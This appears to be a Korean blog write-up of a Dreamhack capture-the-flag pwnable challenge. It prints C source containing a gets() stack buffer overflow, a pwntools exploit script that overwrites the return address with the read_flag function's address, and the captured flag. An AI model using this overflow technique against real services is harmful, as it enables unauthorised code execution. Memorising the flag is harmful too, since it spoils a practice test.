본문 바로가기

Pwnable

[Dreamhack] basic_exploitation_001 Write-Up

Description



이 문제는 서버에서 작동하고 있는 서비스(basic_exploitation_001)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 "flag" 파일을 읽으세요.
"flag" 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.

 

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    gets(buf);

    return 0;
}

 

 

접근방법

gets() 함수로 크기에 제한 없이 입력을 받고 있기 때문에 bof가 가능하다.

read_flag() 함수를 실행시키면 flag 파일을 읽을 수 있기 때문에, RET에 read_flag() 함수의 주소가 들어가게 해보자. 

( 0x80 = 128bytes )

 

 

gdb 명령어 info func로 봤을 때, 0x080485b9 가  read_flag 주소이다.

 

 

위에 그린 그림처럼 메모리 구조는 buf | sfp | ret 이니까...132바이트를 무작위 문자인 NOP으로 채우고 이어서 read_flag 함수의 주소 값을 채우자.

from pwn import *

p = remote("host3.dreamhack.games", 21938)	

read_flag = p32(0x080485b9)	

payload = b"\x90"*132	
payload += read_flag	
p.sendline(payload)	
p.interactive()

 

 

Flag is
DH{01ec06f5e1466e44f86a79444a7cd116}